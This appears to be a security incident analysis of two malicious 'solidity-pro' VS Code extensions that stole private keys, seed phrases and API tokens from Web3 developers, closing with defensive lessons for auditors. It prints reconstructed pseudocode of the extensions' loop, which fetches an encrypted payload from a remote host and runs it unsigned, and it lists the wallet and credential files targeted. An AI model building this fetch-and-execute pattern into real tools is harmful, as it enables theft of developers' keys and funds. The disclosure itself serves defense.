Solidity Pro VS Code Extensions: WhiteCobra Supply Chain Attack on Web3 Developers

SlowMist disclosed on August 19, 2026 that two malicious VS Code extensions impersonating a Solidity development tool silently exfiltrated private keys, seed phrases, and API credentials from developer machines via auto-updating unsigned payloads—a targeted supply chain attack on EVM smart contract developers.

Root Cause

Two VS Code extensions published under the names helper-beeps.solidity-pro and web3devtoolsx.solidity-pro were distributed via Open VSX and other extension marketplaces, impersonating legitimate Solidity tooling. Attributed by SlowMist to threat actor "WhiteCobra", the extensions implemented a multi-stage remote code execution and exfiltration pipeline targeting Web3 developers.

The critical design flaw (from a defender's perspective) is the unsigned auto-update mechanism: extensions fetched AES-GCM encrypted payloads from remote C2 infrastructure and executed them via child_process.spawn with no integrity verification. This allowed the attacker to rotate payloads every 30 minutes, evading static signature-based detection.

// Reconstructed pseudocode of the malicious extension's payload fetch loop
setInterval(async () => {
  const resp = await fetch('https://<obfuscated>.workers.dev/payload');
  const encrypted = Buffer.from(await resp.arrayBuffer());
  // AES-GCM decrypt with hardcoded key buried in extension
  const payload = aesGcmDecrypt(encrypted, HARDCODED_KEY);
  // Write Python script to temp dir and execute — NO SIGNATURE CHECK
  fs.writeFileSync('/tmp/.vsc_helper.py', payload);
  child_process.spawn('python3', ['/tmp/.vsc_helper.py']);
}, 30 * 60 * 1000); // rotate every 30 min

Attack Steps

Step	Action	Detail
1	Publish to Open VSX under legitimate-sounding names	`solidity-pro` targets Solidity/EVM developers specifically
2	Developer installs extension	Extension appears functional; malicious logic is backgrounded
3	Extension fetches encrypted remote payload	AES-GCM encrypted Python scripts pulled from Cloudflare Workers C2
4	Decrypt and execute via `child_process.spawn`	Unsigned payload runs with full developer user privileges
5	`Web3Analytics` module scans filesystem	Hunts for private keys, BIP-39 mnemonics, wallet vault files (Metamask, Hardhat, Foundry), AWS/GCP/API tokens
6	Exfiltrate via HTTPS to obfuscated Cloudflare Worker	Data routed through Cloudflare to attacker's Telegram bot
7	Auto-update every 30 minutes	Payload rotation allows evolving capabilities and signature evasion

Open VSX blacklisted both extensions on approximately August 6–7, 2026, but developer machines with cached or previously installed versions remained at risk until SlowMist's public disclosure on August 19.

Impact

Financial losses: Unquantified; depends on which developer wallets had keys stored on affected machines
Scope: Any EVM developer using these extensions with private keys, seed phrases, or API credentials on their machine
Key risk vectors: Hardhat/Foundry .env files with deployer keys, MetaMask encrypted vaults, Ledger/Trezor passphrases, GitHub PATs, AWS credentials
Persistence: The 30-minute auto-update cycle means short-lived infections could still have exfiltrated credentials before removal

Lessons for Auditors

Audit your development toolchain, not just your contracts. A compromised deployer key or admin key harvested from a developer machine can be more dangerous than any smart contract bug. Treat toolchain dependencies as part of your attack surface.
Extension marketplaces are not a trust boundary. Open VSX, VS Code Marketplace, npm, and PyPI have all been used in supply chain attacks. Verify publisher identity, check star counts and publication dates, and prefer extensions from protocol-official GitHub organizations.
Never store raw private keys on developer machines. Use hardware wallets for all mainnet signing. Store keys in OS keychains or dedicated secret managers (1Password, HashiCorp Vault), not in plaintext .env files.
Unsigned auto-update in dev tools is a red flag. Any extension or tool that fetches and executes remote code without cryptographic integrity checks (npm pack + sha256, sigstore, etc.) is a supply chain attack waiting to happen.
Rotate keys after any toolchain incident. If any developer on a team used these extensions, assume all keys that touched that machine are compromised—rotate deployer keys, admin keys, and API credentials immediately.
Compartmentalize signing environments. Mainnet deployments and upgrades should occur from hardened, airgapped or minimal-surface machines, not everyday development laptops.